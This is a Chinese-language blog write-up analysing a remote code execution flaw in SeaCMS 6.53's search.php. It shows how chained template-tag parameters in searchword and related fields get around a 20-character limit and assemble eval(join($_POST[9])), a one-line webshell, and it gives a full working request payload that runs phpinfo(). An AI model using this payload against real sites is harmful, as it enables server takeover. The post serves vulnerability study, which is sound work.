个人博客地址
http://www.darkerbox.com
欢迎大家学习交流
参考网址:
https://blog.csdn.net/weixin_44897902/article/details/100853036
https://www.jianshu.com/p/a3a18f233184?tdsourcetag=s_pctim_aiomsg
环境:
链接: https://pan.baidu.com/s/1kxMumGD1OU8_unvFBzgKVQ 提取码: 69hp
漏洞概述
这篇文章主要写6.53版本绕过字符限制。并没有写之前的版本中用的order参数方法。
中间的安装过程就不细说了。
安装好后,页面是这样的,漏洞点出现在搜索那里
即search.php。
漏洞利用
我们来把参数整个流程说一下。
先在搜索框随意输入,点击搜视频或者搜资讯,然后抓包。发送到repeater。
可以看到,向search.php传了一个参数searchword
,
用phpstorm打开整个seacms目录。找到search.php(点两次shift键搜索search就可以)
这个文件肯定有个地方接收searchword
参数,但是我没有找见。既然这里没有,那肯定就是包含了某个文件里有。
先看第一个包含的文件common.php。找到了这个红框里的。应该就是接收参数的,把参数名当做变量名,把参数值作为变量的值。
回头再看search.php,漏洞点就在if判断中的str_replace函数。进行了多次替换。$searchtype=5
表示高级搜索。所以进入判断需要先传参searchtype=5
下图中的红框都是上图中的选项。可以传参数。所以这些变量是可控的,
至于后面的$content。往上翻,就看见以下代码,在这里给$content赋值了。
getFileCache
和setFileCache
函数在common.func.php文件,search.php也包含了这个文件。找见这两个函数,发现一个路径。然后就会发现每次进行高级搜索时,就会在这个路径下生成3个文件(也好像不是三个),文件内容我也不知道干嘛的
发现有的文件大小挺大的,打开看看。
我可能发现了点东西。因为我发现这两张图片很像,ssssss是我搜索的内容,说明search.php中的替换函数就是干这些的。$content应该可以理解为这样了,没毛病吧?
<meta name="keywords" content="{seacms:searchword},海洋CMS" />
现在这两个参数都是我们可控的
这样就可以绕过字符限制了。
,字符哪里限制了?在search.php开头就限制了,只取20个字符,而且还用addslashes。
到这一步就要放出网上的payload了。
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=al{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[]=ph&9[]=pinfo();
searchtype=5就不细说了,这是为了高级搜索进入if判断
之后就是searchword={if{searchpage:year}
此时$content的内容为
<meta name="keywords" content="{if{searchpage:year},海洋CMS" />
然后执行下图语句进行替换
替换之后,$conent的内容为
<meta name="keywords" content="{if:e{searchpage:area}},海洋CMS" />
然后执行下图语句进行替换
替换之后,$conent的内容为
<meta name="keywords" content="{if:ev{searchpage:letter}},海洋CMS" />
然后执行下图语句进行替换
替换之后,$conent的内容为
<meta name="keywords" content="{if:eval{searchpage:lang}},海洋CMS" />
然后执行下图语句进行替换
替换之后,$conent的内容为
<meta name="keywords" content="{if:eval(join($_P{searchpage:ver}},海洋CMS" />
然后执行下图语句进行替换
替换之后,$conent的内容为
<meta name="keywords" content="{if:eval(join($_POST[9]))},海洋CMS" />
这样$content就含义一句话木马了。
为什么会有一个{if:
呢?一会说。
看到第213行调用了parseIf
方法
跟进,到了main.class.php
文件里的第3098行
看方法入口的if判断,就明白为什么要有{if:
了吧。
下图两个箭头代码就是取{if:
的其他内容,此时解析出的内容eval(join($_POST[9]))
此时解析出的内容eval(join($_POST[9]))
给了$iar。经过一系列操作后,传给了eval函数。执行最终的代码。
此时eval执行的最后代码为
@eval("if(eval(join($_POST[9]))){\$ifFlag=true;}else{\$ifFlag=false;}");
成功执行phpinfo函数
欢迎大家一起学习交流,共同进步,欢迎加入信息安全小白群